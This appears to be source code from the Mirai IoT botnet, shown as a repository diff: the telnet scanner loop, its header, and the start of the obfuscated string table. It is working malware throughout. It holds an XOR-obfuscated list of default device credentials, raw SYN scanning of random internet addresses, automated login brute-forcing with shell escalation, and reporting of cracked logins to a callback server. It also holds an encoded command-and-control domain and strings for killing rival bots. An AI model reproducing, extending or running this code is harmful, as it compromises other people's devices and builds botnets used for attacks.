add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker
#ifdef DEBUG
printf("[scanner] Scanner process initialized. Scanning started.\n");
#endif
// Main logic loop
while (TRUE)
{
fd_set fdset_rd, fdset_wr;
struct scanner_connection *conn;
struct timeval tim;
int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;
// Spew out SYN to try and get a response
if (fake_time != last_spew)
{
last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip();
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0)
{
tcph->dest = htons(2323);
}
else
{
tcph->dest = htons(23);
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}
// Read packets from raw socket to get SYN+ACKs
last_avail_conn = 0;
while (TRUE)
{
int n;
char dgram[1514];
struct iphdr *iph = (struct iphdr *)dgram;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
struct scanner_connection *conn;
errno = 0;
n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);
if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)
break;
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr))
continue;
if (iph->daddr != LOCAL_ADDR)
continue;
if (iph->protocol != IPPROTO_TCP)
continue;
if (tcph->source != htons(23) && tcph->source != htons(2323))
continue;
if (tcph->dest != source_port)
continue;
if (!tcph->syn)
continue;
if (!tcph->ack)
continue;
if (tcph->rst)
continue;
if (tcph->fin)
continue;
if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)
continue;
conn = NULL;
for (n = last_avail_conn; n < SCANNER_MAX_CONNS; n++)
{
if (conn_table[n].state == SC_CLOSED)
{
conn = &conn_table[n];
last_avail_conn = n;
break;
}
}
// If there were no slots, then no point reading any more
if (conn == NULL)
break;
conn->dst_addr = iph->saddr;
conn->dst_port = tcph->source;
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d Attempting to brute found IP %d.%d.%d.%d\n", conn->fd, iph->saddr & 0xff, (iph->saddr >> 8) & 0xff, (iph->saddr >> 16) & 0xff, (iph->saddr >> 24) & 0xff);
#endif
}
// Load file descriptors into fdsets
FD_ZERO(&fdset_rd);
FD_ZERO(&fdset_wr);
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
int timeout;
conn = &conn_table[i];
timeout = (conn->state > SC_CONNECTING ? 30 : 5);
if (conn->state != SC_CLOSED && (fake_time - conn->last_recv) > timeout)
{
#ifdef DEBUG
printf("[scanner] FD%d timed out (state = %d)\n", conn->fd, conn->state);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (conn->state > SC_HANDLE_IACS) // If we were at least able to connect, try again
{
if (++(conn->tries) == 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
else
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
continue;
}
if (conn->state == SC_CONNECTING)
{
FD_SET(conn->fd, &fdset_wr);
if (conn->fd > mfd_wr)
mfd_wr = conn->fd;
}
else if (conn->state != SC_CLOSED)
{
FD_SET(conn->fd, &fdset_rd);
if (conn->fd > mfd_rd)
mfd_rd = conn->fd;
}
}
tim.tv_usec = 0;
tim.tv_sec = 1;
nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);
fake_time = time(NULL);
for (i = 0; i < SCANNER_MAX_CONNS; i++)
{
conn = &conn_table[i];
if (conn->fd == -1)
continue;
if (FD_ISSET(conn->fd, &fdset_wr))
{
int err = 0, ret = 0;
socklen_t err_len = sizeof (err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);
if (err == 0 && ret == 0)
{
conn->state = SC_HANDLE_IACS;
conn->auth = random_auth_entry();
conn->rdbuf_pos = 0;
#ifdef DEBUG
printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);
#endif
}
else
{
#ifdef DEBUG
printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);
#endif
close(conn->fd);
conn->fd = -1;
conn->tries = 0;
conn->state = SC_CLOSED;
continue;
}
}
if (FD_ISSET(conn->fd, &fdset_rd))
{
while (TRUE)
{
int ret;
if (conn->state == SC_CLOSED)
break;
if (conn->rdbuf_pos == SCANNER_RDBUF_SIZE)
{
memmove(conn->rdbuf, conn->rdbuf + SCANNER_HACK_DRAIN, SCANNER_RDBUF_SIZE - SCANNER_HACK_DRAIN);
conn->rdbuf_pos -= SCANNER_HACK_DRAIN;
}
errno = 0;
ret = recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);
if (ret == 0)
{
#ifdef DEBUG
printf("[scanner] FD%d connection gracefully closed\n", conn->fd);
#endif
errno = ECONNRESET;
ret = -1; // Fall through to closing connection below
}
if (ret == -1)
{
if (errno != EAGAIN && errno != EWOULDBLOCK)
{
#ifdef DEBUG
printf("[scanner] FD%d lost connection\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (++(conn->tries) >= 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
break;
}
conn->rdbuf_pos += ret;
conn->last_recv = fake_time;
while (TRUE)
{
int consumed = 0;
switch (conn->state)
{
case SC_HANDLE_IACS:
if ((consumed = consume_iacs(conn)) > 0)
{
conn->state = SC_WAITING_USERNAME;
#ifdef DEBUG
printf("[scanner] FD%d finished telnet negotiation\n", conn->fd);
#endif
}
break;
case SC_WAITING_USERNAME:
if ((consumed = consume_user_prompt(conn)) > 0)
{
send(conn->fd, conn->auth->username, conn->auth->username_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
conn->state = SC_WAITING_PASSWORD;
#ifdef DEBUG
printf("[scanner] FD%d received username prompt\n", conn->fd);
#endif
}
break;
case SC_WAITING_PASSWORD:
if ((consumed = consume_pass_prompt(conn)) > 0)
{
#ifdef DEBUG
printf("[scanner] FD%d received password prompt\n", conn->fd);
#endif
// Send password
send(conn->fd, conn->auth->password, conn->auth->password_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
conn->state = SC_WAITING_PASSWD_RESP;
}
break;
case SC_WAITING_PASSWD_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received shell prompt\n", conn->fd);
#endif
// Send enable / system / shell / sh to session to drop into shell if needed
table_unlock_val(TABLE_SCAN_ENABLE);
tmp_str = table_retrieve_val(TABLE_SCAN_ENABLE, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_ENABLE);
conn->state = SC_WAITING_ENABLE_RESP;
}
break;
case SC_WAITING_ENABLE_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received sh prompt\n", conn->fd);
#endif
table_unlock_val(TABLE_SCAN_SYSTEM);
tmp_str = table_retrieve_val(TABLE_SCAN_SYSTEM, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_SYSTEM);
conn->state = SC_WAITING_SYSTEM_RESP;
}
break;
case SC_WAITING_SYSTEM_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received sh prompt\n", conn->fd);
#endif
table_unlock_val(TABLE_SCAN_SHELL);
tmp_str = table_retrieve_val(TABLE_SCAN_SHELL, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_SHELL);
conn->state = SC_WAITING_SHELL_RESP;
}
break;
case SC_WAITING_SHELL_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received enable prompt\n", conn->fd);
#endif
table_unlock_val(TABLE_SCAN_SH);
tmp_str = table_retrieve_val(TABLE_SCAN_SH, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_SH);
conn->state = SC_WAITING_SH_RESP;
}
break;
case SC_WAITING_SH_RESP:
if ((consumed = consume_any_prompt(conn)) > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d received sh prompt\n", conn->fd);
#endif
// Send query string
table_unlock_val(TABLE_SCAN_QUERY);
tmp_str = table_retrieve_val(TABLE_SCAN_QUERY, &tmp_len);
send(conn->fd, tmp_str, tmp_len, MSG_NOSIGNAL);
send(conn->fd, "\r\n", 2, MSG_NOSIGNAL);
table_lock_val(TABLE_SCAN_QUERY);
conn->state = SC_WAITING_TOKEN_RESP;
}
break;
case SC_WAITING_TOKEN_RESP:
consumed = consume_resp_prompt(conn);
if (consumed == -1)
{
#ifdef DEBUG
printf("[scanner] FD%d invalid username/password combo\n", conn->fd);
#endif
close(conn->fd);
conn->fd = -1;
// Retry
if (++(conn->tries) == 10)
{
conn->tries = 0;
conn->state = SC_CLOSED;
}
else
{
setup_connection(conn);
#ifdef DEBUG
printf("[scanner] FD%d retrying with different auth combo!\n", conn->fd);
#endif
}
}
else if (consumed > 0)
{
char *tmp_str;
int tmp_len;
#ifdef DEBUG
printf("[scanner] FD%d Found verified working telnet\n", conn->fd);
#endif
report_working(conn->dst_addr, conn->dst_port, conn->auth);
close(conn->fd);
conn->fd = -1;
conn->state = SC_CLOSED;
}
break;
default:
consumed = 0;
break;
}
// If no data was consumed, move on
if (consumed == 0)
break;
else
{
if (consumed > conn->rdbuf_pos)
consumed = conn->rdbuf_pos;
conn->rdbuf_pos -= consumed;
memmove(conn->rdbuf, conn->rdbuf + consumed, conn->rdbuf_pos);
}
}
}
}
}
}
}
void scanner_kill(void)
{
kill(scanner_pid, 9);
}
static void setup_connection(struct scanner_connection *conn)
{
struct sockaddr_in addr = {0};
if (conn->fd != -1)
close(conn->fd);
if ((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("[scanner] Failed to call socket()\n");
#endif
return;
}
conn->rdbuf_pos = 0;
util_zero(conn->rdbuf, sizeof(conn->rdbuf));
fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = conn->dst_addr;
addr.sin_port = conn->dst_port;
conn->last_recv = fake_time;
conn->state = SC_CONNECTING;
connect(conn->fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in));
}
static ipv4_t get_random_ip(void)
{
uint32_t tmp;
uint8_t o1, o2, o3, o4;
do
{
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
return INET_ADDR(o1,o2,o3,o4);
}
static int consume_iacs(struct scanner_connection *conn)
{
int consumed = 0;
uint8_t *ptr = conn->rdbuf;
while (consumed < conn->rdbuf_pos)
{
int i;
if (*ptr != 0xff)
break;
else if (*ptr == 0xff)
{
if (!can_consume(conn, ptr, 1))
break;
if (ptr[1] == 0xff)
{
ptr += 2;
consumed += 2;
continue;
}
else if (ptr[1] == 0xfd)
{
uint8_t tmp1[3] = {255, 251, 31};
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
if (!can_consume(conn, ptr, 2))
break;
if (ptr[2] != 31)
goto iac_wont;
ptr += 3;
consumed += 3;
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
}
else
{
iac_wont:
if (!can_consume(conn, ptr, 2))
break;
for (i = 0; i < 3; i++)
{
if (ptr[i] == 0xfd)
ptr[i] = 0xfc;
else if (ptr[i] == 0xfb)
ptr[i] = 0xfd;
}
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
ptr += 3;
consumed += 3;
}
}
}
return consumed;
}
static int consume_any_prompt(struct scanner_connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
prompt_ending = i + 1;
break;
}
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static int consume_user_prompt(struct scanner_connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
prompt_ending = i + 1;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
prompt_ending = tmp;
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static int consume_pass_prompt(struct scanner_connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos - 1; i > 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#')
{
prompt_ending = i + 1;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static int consume_resp_prompt(struct scanner_connection *conn)
{
char *tkn_resp;
int prompt_ending, len;
table_unlock_val(TABLE_SCAN_NCORRECT);
tkn_resp = table_retrieve_val(TABLE_SCAN_NCORRECT, &len);
if (util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1) != -1)
{
table_lock_val(TABLE_SCAN_NCORRECT);
return -1;
}
table_lock_val(TABLE_SCAN_NCORRECT);
table_unlock_val(TABLE_SCAN_RESP);
tkn_resp = table_retrieve_val(TABLE_SCAN_RESP, &len);
prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, tkn_resp, len - 1);
table_lock_val(TABLE_SCAN_RESP);
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
{
int tmp;
auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
auth_table[auth_table_len].username = deobf(enc_user, &tmp);
auth_table[auth_table_len].username_len = (uint8_t)tmp;
auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
auth_table[auth_table_len].password_len = (uint8_t)tmp;
auth_table[auth_table_len].weight_min = auth_table_max_weight;
auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
auth_table_max_weight += weight;
}
static struct scanner_auth *random_auth_entry(void)
{
int i;
uint16_t r = (uint16_t)(rand_next() % auth_table_max_weight);
for (i = 0; i < auth_table_len; i++)
{
if (r < auth_table[i].weight_min)
continue;
else if (r < auth_table[i].weight_max)
return &auth_table[i];
}
return NULL;
}
static void report_working(ipv4_t daddr, uint16_t dport, struct scanner_auth *auth)
{
struct sockaddr_in addr;
int pid = fork(), fd;
struct resolv_entries *entries = NULL;
if (pid > 0 || pid == -1)
return;
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
#ifdef DEBUG
printf("[report] Failed to call socket()\n");
#endif
exit(0);
}
table_unlock_val(TABLE_SCAN_CB_DOMAIN);
table_unlock_val(TABLE_SCAN_CB_PORT);
entries = resolv_lookup(table_retrieve_val(TABLE_SCAN_CB_DOMAIN, NULL));
if (entries == NULL)
{
#ifdef DEBUG
printf("[report] Failed to resolve report address\n");
#endif
return;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = entries->addrs[rand_next() % entries->addrs_len];
addr.sin_port = *((port_t *)table_retrieve_val(TABLE_SCAN_CB_PORT, NULL));
resolv_entries_free(entries);
table_lock_val(TABLE_SCAN_CB_DOMAIN);
table_lock_val(TABLE_SCAN_CB_PORT);
if (connect(fd, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)
{
#ifdef DEBUG
printf("[report] Failed to connect to scanner callback!\n");
#endif
close(fd);
exit(0);
}
uint8_t zero = 0;
send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);
send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);
send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
#ifdef DEBUG
printf("[report] Send scan result to loader\n");
#endif
close(fd);
exit(0);
}
static char *deobf(char *str, int *len)
{
int i;
char *cpy;
*len = util_strlen(str);
cpy = malloc(*len + 1);
util_memcpy(cpy, str, *len + 1);
for (i = 0; i < *len; i++)
{
cpy[i] ^= 0xDE;
cpy[i] ^= 0xAD;
cpy[i] ^= 0xBE;
cpy[i] ^= 0xEF;
}
return cpy;
}
static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)
{
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
return ptr + amount < end;
}
#endif

64
mirai/bot/scanner.h Executable file
View File

@ -0,0 +1,64 @@
#pragma once
#include <stdint.h>
#include "includes.h"
#ifdef DEBUG
#define SCANNER_MAX_CONNS 128
#define SCANNER_RAW_PPS 160
#else
#define SCANNER_MAX_CONNS 128
#define SCANNER_RAW_PPS 160
#endif
#define SCANNER_RDBUF_SIZE 256
#define SCANNER_HACK_DRAIN 64
struct scanner_auth {
char *username;
char *password;
uint16_t weight_min, weight_max;
uint8_t username_len, password_len;
};
struct scanner_connection {
struct scanner_auth *auth;
int fd, last_recv;
enum {
SC_CLOSED,
SC_CONNECTING,
SC_HANDLE_IACS,
SC_WAITING_USERNAME,
SC_WAITING_PASSWORD,
SC_WAITING_PASSWD_RESP,
SC_WAITING_ENABLE_RESP,
SC_WAITING_SYSTEM_RESP,
SC_WAITING_SHELL_RESP,
SC_WAITING_SH_RESP,
SC_WAITING_TOKEN_RESP
} state;
ipv4_t dst_addr;
uint16_t dst_port;
int rdbuf_pos;
char rdbuf[SCANNER_RDBUF_SIZE];
uint8_t tries;
};
void scanner_init();
void scanner_kill(void);
static void setup_connection(struct scanner_connection *);
static ipv4_t get_random_ip(void);
static int consume_iacs(struct scanner_connection *);
static int consume_any_prompt(struct scanner_connection *);
static int consume_user_prompt(struct scanner_connection *);
static int consume_pass_prompt(struct scanner_connection *);
static int consume_resp_prompt(struct scanner_connection *);
static void add_auth_entry(char *, char *, uint16_t);
static struct scanner_auth *random_auth_entry(void);
static void report_working(ipv4_t, uint16_t, struct scanner_auth *);
static char *deobf(char *, int *);
static BOOL can_consume(struct scanner_connection *, uint8_t *, int);

158
mirai/bot/table.c Executable file
View File

@ -0,0 +1,158 @@
#define _GNU_SOURCE
#ifdef DEBUG
#include <stdio.h>
#endif
#include <stdint.h>
#include <stdlib.h>
#include "includes.h"
#include "table.h"
#include "util.h"
uint32_t table_key = 0xdeadbeef;
struct table_value table[TABLE_MAX_KEYS];
void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29); // report.changeme.com
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101
add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);
// safe string https://youtu.be/dQw4w9WgXcQ
add_entry(TABLE_KILLER_SAFE, "\x4A\x56\x56\x52\x51\x18\x0D\x0D\x5B\x4D\x57\x56\x57\x0C\x40\x47\x0D\x46\x73\x55\x16\x55\x1B\x75\x45\x7A\x41\x73\x22", 29);
add_entry(TABLE_KILLER_PROC, "\x0D\x52\x50\x4D\x41\x0D\x22", 7);
add_entry(TABLE_KILLER_EXE, "\x0D\x47\x5A\x47\x22", 5);
add_entry(TABLE_KILLER_DELETED, "\x02\x0A\x46\x47\x4E\x47\x56\x47\x46\x0B\x22", 11);
add_entry(TABLE_KILLER_FD, "\x0D\x44\x46\x22", 4);
add_entry(TABLE_KILLER_ANIME, "\x0C\x43\x4C\x4B\x4F\x47\x22", 7);
add_entry(TABLE_KILLER_STATUS, "\x0D\x51\x56\x43\x56\x57\x51\x22", 8);
add_entry(TABLE_MEM_QBOT, "\x70\x67\x72\x6D\x70\x76\x02\x07\x51\x18\x07\x51\x22", 13);
add_entry(TABLE_MEM_QBOT2, "\x6A\x76\x76\x72\x64\x6E\x6D\x6D\x66\x22", 10);
add_entry(TABLE_MEM_QBOT3, "\x6E\x6D\x6E\x6C\x6D\x65\x76\x64\x6D\x22", 10);
add_entry(TABLE_MEM_UPX, "\x7E\x5A\x17\x1A\x7E\x5A\x16\x66\x7E\x5A\x16\x67\x7E\x5A\x16\x67\x7E\x5A\x16\x11\x7E\x5A\x17\x12\x7E\x5A\x16\x14\x7E\x5A\x10\x10\x22", 33);
